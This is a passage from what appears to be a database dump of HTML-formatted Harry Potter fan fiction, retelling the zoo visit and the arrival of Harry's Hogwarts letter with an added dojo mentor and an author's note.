Lord, they\'re here!\' said Aunt Petunia frantically -\nand a moment later, Dudley\'s best friend, Piers Polkiss, walked in with his\nmother. Piers was a scrawny boy with a face like a rat. He was usually the one\nwho held people\'s arms behind their backs while Dudley hit them. Dudley stopped\npretending to cry at once.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Half an hour later,\nHarry; who couldn\'t believe his luck, was sitting in the back of the Dursleys\'\ncar with Piers and Dudley, on the way to the zoo for the first time in his\nlife. His aunt and uncle hadn\'t been able to think of anything else to do with\nhim, but before they\'d left, Uncle Vernon had taken Harry aside.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I\'m warning you,\' he\nhad said, putting his large purple face fight up close to Harry\'s, \'I\'m warning\nyou now, boy - any funny business, anything at all - and you\'ll be in that\ncupboard from now until Christmas.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I\'m not going to do\nanything.\' said Harry \'Honestly.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But Uncle Vernon\ndidn\'t believe him. No one ever did.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The problem was,\nstrange things often happened around Harry and it was just no good telling the\nDursleys he didn\'t make them happen. In fact strange things happened so often\naround Harry that it was strange if nothing &#8220;odd&#8221; happened for more than a\nweek.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Once, Aunt Petunia,\ntired of Harry coming back from the barber\'s looking as though he hadn\'t been\nat all, had taken a pair of kitchen scissors and cut his hair so short he was\nalmost bald except for his fringe, which she left \'to hide that horrible scar\'.\nDudley had laughed himself silly at Harry, who spent a sleepless night\nimagining school the next day, where he was already laughed at for his baggy\nclothes and sellotaped glasses. Next morning, however, he had got up to find his\nhair exactly as it had been before Aunt Petunia had sheared it off. He had been\ngiven a week in his cupboard for this, even though he had tried to explain that\nhe couldn\'t explain how it had grown back so quickly</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Another time, Aunt\nPetunia had been trying to force him into a revolting old jumper of Dudley\'s\n(brown with orange bobbles). The harder she tried to pull it over his head, the\nsmaller it seemed to become, until finally it might have fitted a glove puppet,\nbut certainly wouldn\'t fit Harry. Aunt Petunia had decided it must have shrunk\nin the wash and, to his great relief, Harry wasn\'t punished.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">On the other hand,\nhe\'d got into terrible trouble for being found on the roof of the school\nkitchens. Dudley\'s gang had been chasing him as usual when, as much to Harry\'s\nsurprise as anyone else\'s, there he was sitting on the chimney. The Dursleys\nhad received a very angry letter from Harry\'s headmistress telling them Harry\nhad been climbing school buildings. But all he\'d tried to do was jump behind\nthe big bins outside the kitchen doors. Harry supposed that the wind must have\ncaught him in mid-jump.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But today nothing was\ngoing to go wrong. It was even worth being with Dudley and Piers to be spending\nthe day somewhere that wasn\'t school, his cupboard or Mrs Figg\'s\ncabbage-smelling living room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">While he drove, Uncle\nVernon complained to Aunt Petunia. He liked to complain about things: people at\nwork, Harry, the council, Harry, the bank and Harry were just a few of his\nfavourite subjects. This morning, it was motorbikes.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'...roaring along\nlike maniacs, the young hoodlums.\' he said, as a motorbike overtook them.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I had a dream about\na motorbike,\' said Harry remembering suddenly. \'It was flying.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Uncle Vernon nearly\ncrashed into the car in front. He turned right around in his seat and yelled at\nHarry his face like a gigantic beetroot with a moustache, \'MOTORBIKES DON\'T\nFLY!\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dudley and Piers\nsniggered.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I know they don\'t,\'\nsaid Harry. \'It was only a dream.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But he wished he\nhadn\'t said anything. If there was one thing the Dursleys hated even more than\nhis asking questions, it was his talking about anything acting in a way it\nshouldn\'t, no matter if it was in a dream or even a cartoon. They seemed to\nthink he might get dangerous ideas.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It was a very sunny\nSaturday and the zoo was crowded with families. The Dursleys bought Dudley and\nPiers large chocolate ice-creams at the entrance and then, because the smiling\nlady in the van had asked Harry what he wanted before they could hurry him away\nthey bought him a cheap lemon ice lolly. It wasn\'t bad either, Harry thought,\nlicking it as they watched a gorilla scratching its head and looking remarkably\nlike Dudley except that it wasn\'t blond.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry had the best\nmorning he\'d had in a long time. He was careful to walk a little way apart from\nthe Dursleys so that Dudley and Piers, who were starting to get bored with the\nanimals by lunch-time, wouldn\'t fall back on their favourite hobby of hitting\nhim. They ate in the zoo restaurant and when Dudley had a tantrum because his\nknickerbocker glory wasn\'t big enough, Uncle Vernon bought him another one and\nHarry was allowed to finish the first.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry felt,\nafterwards, that he should have known it was all too good to last.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">After lunch they went\nto the reptile house. It was cool and dark in there, with lit windows all along\nthe walls. Behind the glass, all sorts of lizards and snakes were crawling and\nslithering over bits of wood and stone. Harry loved it. It was quiet and dim, which\nhe enjoyed and he had always liked snakes and such.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dudley and Piers\nwanted to see huge, poisonous cobras and thick, man-crushing pythons. Dudley\nquickly found the largest snake in the place. It could have wrapped its body\ntwice around Uncle Vernon\'s car and crushed it into a dustbin - but at the\nmoment it didn\'t look in the mood. In fact, it was fast asleep.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dudley stood with his\nnose pressed against the glass, staring at the glistening brown coils.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Make it move.\' he\nwhined at his father. Uncle Vernon tapped on the glass, but the snake didn\'t\nbudge.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Do it again,\' Dudley\nordered. Uncle Vernon rapped the glass smartly with his knuckles, but the snake\njust snoozed on.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'This is boring,\'\nDudley moaned. He shuffled away.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry moved in front\nof the tank and looked intently at the snake. He wouldn\'t have been surprised\nif it had died of boredom itself - no company except stupid people drumming\ntheir fingers on the glass trying to disturb it all day long. It was worse than\nhaving a cupboard as a bedroom, where the only visitor was Aunt Petunia\nhammering on the door to wake you up - at least he got to visit the rest of the\nhouse.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The snake suddenly\nopened its beady eyes. Slowly, very slowly, it raised its head until its eyes\nwere on a level with Harry\'s.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">It winked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry stared, then he\nlooked quickly around to see if anyone was watching. They weren\'t. He looked\nback at the snake and winked too.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The snake jerked its\nhead towards Uncle Vernon and Dudley, then raised its eyes to the ceiling. It\ngave Harry a look that said quite plainly: \'I get that all the time.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'I know\' Harry\nmurmured through the glass, though he wasn\'t sure the snake could hear him. \'It\nmust be really annoying.\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The snake nodded\nvigorously.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Where do you come\nfrom anyway?\' Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The snake jabbed its\ntail at a little sign next to the glass. Harry peered at it.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Boa Constrictor\nBrazil.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Was it nice there?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The boa constrictor\njabbed its tail at the sign again and Harry read on: This specimen was bred in\nthe zoo. \'Oh, I see - so you\'ve never been to Brazil?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As the snake shook\nits head, a deafening shout behind Harry made both of them jump. \'DUDLEY! MR\nDURSLEY! COME AND LOOK AT THIS SNAKE! YOU WON\'T BELIEVE WHAT IT\'S DOING!\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Dudley came waddling\ntowards them as fast as he could.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'Out of the way,\nyou,\' he said, punching Harry in the ribs. Caught by surprise, Harry fell hard\non the concrete floor. What came next happened so fast no one saw how it\nhappened. One second, Piers and Dudley were leaning right up close to the\nglass, the next, they had leapt back with howls of horror.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry sat up and\ngasped; the glass front of the boa constrictor\'s tank had vanished. The great\nsnake was uncoiling itself rapidly, slithering out on to the floor - people\nthroughout the reptile house screamed and started running for the exits.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">As the snake slid\nswiftly past him, Harry could have sworn a low hissing voice said, \'Brazil,\nhere I come... Thanksss amigo\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The keeper of the\nreptile house was in shock.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">\'But the glass,\' he\nkept saying, \'where did the glass go?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">The zoo director\nhimself made Aunt Petunia a cup of strong sweet tea while he apologised over\nand over again. Prers and Dudley could only gibber. As far as Harry had seen,\nthe snake hadn\'t done anything except snap playfully at their heels as it\npassed, but by the time they were all back in Uncle Vernon\'s car, Dudley was\ntelling them how it had nearly bitten off his leg, while Piers was swearing it\nhad tried to squeeze him to death. But worst of all, for Harry at least, was\nPiers calming down enough to say, \'Harry was talking to it, weren\'t you,\nHarry?\'</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Uncle Vernon waited\nuntil Piers was safely out of the house before starting on Harry. He was so\nangry he could hardly speak. He managed to say \'Go - cupboard - stay - no\nmeals,\' before he collapsed into a chair and Aunt Petunia had to run and get\nhim a large brandy.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry lay in his dark\ncupboard much later, wishing he had a watch. He didn\'t know what time it was\nand he couldn\'t be sure the Dursleys were asleep yet. Until they were, he\ncouldn\'t risk sneaking to the kitchen for some food.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">He\'d lived with the\nDursleys almost ten years, ten miserable years, as long as he could reneember,\never since he\'d been a baby and his parents had died in that car crash. He\ncouldn\'t remember being in the car when his parents had died. Sometimes, when\nhe strained his memory during long hours in his cupboard, he came up with a\nstrange vision: a blinding flash of green light and a burning pain on his\nforehead. This, he supposed, was the crash, though he couldn\'t imagine where\nall the green light came from. He couldn\'t remember his parents at all. His\naunt and uncle never spoke about them, and of course he was forbidden to ask\nquestions. There were no photographs of them in the house.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">At school, Harry had\nno one. Everybody knew that Dudley\'s gang hated that odd Harry Potter in his\nbaggy old clothes and broken glasses, and nobody liked to disagree with Dudley\'s\ngang. The only person that he could really consider a friend was Mr. Osakawa at\nhis Dojo.</p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">AN- I&#8217;m sure everyone now understands what I\nmeant in the note at the top. This chapter was practically straight from the\nbook, and the next one is much the same. Chapter three and up are actually <i>entirely</i>\nmy writing though so I hope you&#8217;ll continue on at least to chapter three to see\nif you&#8217;ll enjoy my writing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 2, '\n\n\n\n\n\n\n\n<p class="MsoBodyTextIndent">The escape of the Brazilian boa constrictor earned Harry his\nlongest-ever punishment. By the time he was allowed out of his cupboard again,\nthe summer holidays had started and Dudley had already broken his new\ncine-camera, crashed his remote control aeroplane and, first time on his racing\nbike, knocked down old Mrs Figg as she crossed Privet Drive on her crutches.</p>\n\n<p class="MsoBodyTextIndent">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry was glad school was over, but there was no\nescaping Dudley\'s gang, who visited the house every single day Piers, Dennis,\nMalcolm and Gordon were all big and stupid, but as Dudley was the biggest and\nstupidest of the lot, he was the leader.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The rest of them were all quite happy to join in\nDudley\'s favourite sport: Harry Hunting.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">This was why Harry spent as much time as possible\nout of the house, wandering around and thinking about the end of the holidays,\nwhere he could see a tiny ray of hope. Most of his time was spent at the Dojo\ntraining as had most of his summers ever since he was five. When September came\nhe would be going off to secondary school and, for the first time in his life,\nhe wouldn\'t be with Dudley. Dudley had a place at Uncle Vernon\'s old school,\nSmeltings. Piers Polkiss was going there too. Harry, on the other hand, was\ngoing to Stonewall High, the local comprehensive. Dudley thought this was very\nfunny.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'They stuff people\'s heads down the toilet first day\nat Stonewall,\' he told Harry \'Want to come upstairs and practise?\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'No thanks,\' said Harry \'The poor toilet\'s never had\nanything as horrible as your head down it - it might be sick.\' Then he ran,\nbefore Dudley could work out what he\'d said.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">One day in July, Aunt Petunia took Dudley to London\nto buy his Smeltings uniform, leaving Harry at Mrs Figg\'s. Mrs Figg wasn\'t as\nbad as usual. It turned out she\'d broken her leg tripping over one of her cats\nand she didn\'t seem quite as fond of them as before. She let Harry watch\ntelevision and gave him a bit of chocolate cake that tasted as though she\'d had\nit for several years.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">That evening, Dudley paraded around the living-room\nfor the family in his brand-new uniform. Smeltings boys wore maroon tailcoats,\norange knickerbockers and flat straw hats called boaters. They also carried\nknobbly sticks, used for hitting each other while the teachers weren\'t looking.\nThis was supposed to be good training for later life.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">As he looked at Dudley in his new knickerbockers,\nUncle Vernon said gruffly that it was the proudest moment of his life. Aunt\nPetunia burst into tears and said she couldn\'t believe it was her Ickle\nDudleykins, he looked so handsome and grown-up.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry didn\'t trust himself to speak. He thought two\nof his ribs might already have cracked from trying not to laugh.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">There was a horrible smell in the kitchen next\nmorning when Harry went in to cook breakfast. It seemed to be coming from a\nlarge metal tub in the sink. He went to have a look. The tub was full of what\nLooked like dirty rags swimming in grey water.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'What\'s this?\' he asked Aunt Petunia. Her lips\ntightened as they always did if he dared to ask a question.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Your new school uniform,\' she said.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry looked in the bowl again.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Oh,\' he said.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'I\'m dyeing some of Dudley\'s old things grey for\nyou. It\'ll look just like everyone else\'s when I\'ve finished.\' snapped Aunt\nPetunia. </p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry seriously doubted this, but thought it best\nnot to argue.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">He sat down at the table and tried not to think\nabout how he was going to look on his first day at Stonewall High - like he was\nwearing bits of old elephant skin, probably.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Dudley and Uncle Vernon came in, both with wrinkled\nnoses because of the smell from Harry\'s new uniform. Uncle Vernon opened his\nnewspaper as usual and Dudley banged his Smeltings stick, which he carried\neverywhere, on the table.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">They heard the click of the letter-box and flop of\nletters on the doormat.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Get the post, Dudley,\' said Uncle Vernon from\nbehind his paper.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Make Harry get it.\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Get the post, Harry. Poke him with your Smeltings\nstick, Dudley\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry easily dodged the Smeltings stick and went to\nget the post. Three things lay on the doormat: a postcard froin Uncle Vernon\'s\nsister Marge, who was holidaying on the Isle of Wight, a brown envelope that\nlooked like a bill and - a letter for Harry.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry picked it up and stared at it, his heart\ntwanging like a giant elastic band. No one, ever, in his whole life, had\nwritten to him. Who would? He had no friends and no other relatives. Yet here\nit was, a letter, addressed so plainly there could be no mistake:</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Mr H. Potter</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The Cupboard under the Stairs</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">4 Privet Drive</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Little Whinging</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Surrey</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">The envelope was thick and heavy; made of yellowish\nparchment, and the address was written in emerald-green ink. There was no\nstamp.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Turning the envelope over, his hand trembling, Harry\nsaw a purple wax seal bearing a coat of arms; a lion, an eagle, a badger and a\nsnake surrounding a large letter \'H\'.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Hurry up, boy!\' shouted Uncle Vernon from the\nkitchen. \'What are you doing, checking for letter-bombs?\' He chuckled at his\nown joke.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry went back to the kitchen, still staring at his\nletter. He handed Uncle Vernon the bill and the postcard, sat down and slowly\nbegan to open the yellow envelope.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Uncle Vernon ripped open the bill, snorted in\ndisgust and flipped over the postcard.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Marge\'s ill,\' he informed Aunt Petunia. \'Ate a\nfunny whelk ...\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Dad!\' said Dudley suddenly \'Dad, Harry\'s got\nsomething!\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry was on the point of unfolding his letter,\nwhich was written on the same heavy parchment as the envelope, when it was\njerked sharply out of his hand by Uncle Vernon.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'That\'s mine!\' said Harry, trying to snatch it back.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Who\'d be writing to you?\' sneered Uncle Vernon,\nshaking the letter open with one hand and glancing at it. His face went from\nred to green faster than a set of traffic lights. And it didn\'t stop there.\nWithin seconds it was the greyish white of old porridge.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'P-P-Petunia!\' he gasped.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Dudley tried to grab the letter to read it, but\nUncle Vernon held it high out of his reach.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Now as Harry had only ever known this kind of\ntreatment it normally wouldn\'t have angered him. It would have just been\nanother part of his life with the Dursleys. And if Harry was any other <i>normal</i>\nchild he would probably need serious therapy after years of this treatment and\nprobably would have anyway if it hadn\'t been for Mr. Osakawa. He had always\ntreated Harry like he would his own son and Harry had begun to develop a new\ntake on life over the past years of training at his Dojo. And now for the first\ntime in his life he chose NOT to do what he was told.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'Give it to me NOW!\' Harry screamed, and at the same\ntime hit Uncle Vernon in the chest causing him to double over putting the\nletter within reach of Harry.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">At once Harry snatched it and ran from the room to\nhis cupboard reading the note.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">HOGWARTS SCHOOL OF WITCHCRAFT AND WIZARDRY</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Headmaster: Albus Dumbledore</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">(Order of Merlin, First Class Grand Sorc., Chf.\nWarlock,</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Supreme Mugwump, International Confed. of Wizards)</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Dear Mr Potter,</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">We are pleased to inform you that you have a place\nat Hogwarts</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">School of Witchcraft and Wizardry. Please find\nenclosed a list of all</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">necessary books and equipment.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Term begins on 1 September. We await your owl by no</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">later than 31 July.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Yours sincerely,</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Minerva McGonagall</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Deputy Headmistress</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Harry was crushed. It was probably just some joke\nmeant to embarrass him. In fact he couldn\'t even understand why he had gotten\nso worked up about it in the first place. What Uncle Vernon had said was true.\nWho WOULD be writing to him?</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Uncle Vernon had regained his breath now and was\npounding down the hallway to Harry\'s cupboard. Harry didn\'t know what to do. He\nhad actually HIT one of the Dursleys who had, as they told it, taken him in out\nof the \'goodness\' of their hearts and raised him out of their own money.\nSomehow though, Harry didn\'t feel any remorse at having hit Vernon but knew\nthat if he didn\'t seem sorry at least he would probably be stuck in his\ncupboard for the rest of the summer.</p>\n\n<p class="MsoNormal">Harry\npopped out of his cupboard before Uncle Vernon would have ripped the door off\nit\'s hinges, and the act he put on of being sorry for it all would have won him\nand Oscar.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Uncle Vernon seemed slightly suspicious though when\nhe saw Harry\'s downcast face. He had expected him to be jumping for joy to get\nout of the place and get to Hogwarts but was wary of Harry having some sort of\nmagical protection. However, not wanting to let Harry see that he was\nfrightened (of course he told himself he wasn\'t anyway) he angrily said \'Don\'t\nthink that we\'re letting you go there!\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">\'*sigh* I know Uncle Vernon. It doesn\'t exist and\nthere\'s no such thing as magic.&#8217;\' Harry said dejectedly, repeating what was a\nsort of mantra for his Aunt and Uncle.</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Uncle Vernon was taken aback for a moment before\nreplying \'Too right! And don\'t you forget it!\'</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:36.0pt">Feeling flustered and rather confused by 